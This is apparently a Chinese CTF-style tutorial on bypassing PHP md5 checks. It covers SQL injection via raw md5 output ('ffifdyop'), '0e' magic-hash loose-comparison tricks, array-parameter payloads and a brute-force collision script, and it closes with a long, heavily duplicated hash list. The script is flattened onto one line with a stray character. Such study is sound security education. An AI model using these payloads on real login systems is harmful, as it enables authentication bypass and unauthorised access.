PHP中md5绕过
一、md5($password,true)的SQL注入问题
这里要提到一下MySQL中的数值比较问题。
1、当数字和字符串比较时,若字符串的数字部分(需要从头开始)和数字是相同的,那么则返回的是true。
select if(1="1abcd","等于","不等于") as test;
if(exp1,stat1,stat2)类似于高级语言中三元运算符。当exp1为true的是否返回stat1,为false返回stat2。
2、以数字开头的字符串,若开头的字符不是0,那么在做逻辑运算的时候返回的是1,也就是true。
select * from user where password =''or'1234a';
看一下这个php md5($pass,true) 的漏洞:
select * from user where password = md5($pass,true);
可以看到这里的raw参数是True,为返回原始16字符二进制格式。
也就是说当md5函数的第二个参数为true时,该函数的输出是原始二进制格式,会被作为字符串处理。
如果构造一个'or'xxx'
的密码,只要后面的字符串为真即可。那么可以根据32位16进制的字符串来查找,'or'
对应的16进制是276f7227
,所以我们的目标就是要找一个字符串,取32位16进制的md5值里带有276f7227
这个字段的,在276f7227
这个字段后面紧跟一个数字(除了0)1-9,对应的asc码值是49-57,转化为16进制就是31-39,也就是含有276f7227+(31-39)
这个字段,就可以满足要求。
则拼接后构成的SQL语句为:
select * from user where password=''or'1asodijfoi';
select * from user where password=''or'1abcdefg' ---> True
select * from user where password=''or'0abcdefg' ---> False
select * from user where password=''or'1' ---> True
select * from user where password=''or'2' ---> True
select * from user where password=''or'0' ---> False
只要'or'后面的字符串为一个非零的数字开头都会返回True,这就是我们的突破点。
目前只知道用这个字符串 ffifdyop 具体怎么来的,目前脚本还在研究中。
二、两变量值不相等,md5计算散列值后相等的绕过
-
==的绕过
PHP中==是判断值是否相等,若两个变量的类型不相等,则会转化为相同类型后再进行比较。
PHP在处理哈希字符串的时候,它把每一个以0e开头的哈希值都解析为0。
注意:==号相等必须满足0e后面全是数字,若存在字母则不行。
<?php
if($_GET['a'] !== $_GET['b']){
if(md5($_GET['a']) == md5($_GET['b'])){
echo "flag";
}
}
?>
常见的如下:
在md5加密后以0E开头
- QNKCDZO
- 240610708
- s878926199a
- s155964671a
-
===的绕过
===会比较类型,这个时候可以用到PHP中md5()函数无法处理数组(会返回NULL)来实现绕过。
<?php
if($_GET['a'] !== $_GET['b']){
if(md5($_GET['a']) === md5($_GET['b'])){
echo "flag";
}
}
?>
payload: /?a[]=1&b[]=2 (上面==的例子也可以用数组绕过)
三、MD5碰撞
脚本:
# -*- coding: utf-8 -*- import multiprocessing import hashlib import random import string import sys CHARS = string.letters + string.digits def cmp_md5(substr, stop_event, str_len,. start=0, size=20): global CHARS while not stop_event.is_set(): rnds = ''.join(random.choice(CHARS) for _ in range(size)) md5 = hashlib.md5(rnds) value = md5.hexdigest() if value[start: start+str_len] == substr: print rnds stop_event.set() ''' #碰撞双md5 md5 = hashlib.md5(value) if md5.hexdigest()[start: start+str_len] == substr: print rnds+ "=>" + value+"=>"+ md5.hexdigest() + "\n" stop_event.set() ''' if __name__ == '__main__': substr = sys.argv[1].strip() start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0 str_len = len(substr) cpus = multiprocessing.cpu_count() stop_event = multiprocessing.Event() processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos)) for i in range(cpus)] for p in processes: p.start() for p in processes: p.join()
还有MD5和双MD5以后的值都是0e
开头的
- CbDLytmyGm2xQyaLNhWn
- 770hQgrBOjrcqftrlaZk
- 7r4lGXCH2Ksu2JNT3BYM
正常0e开头:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020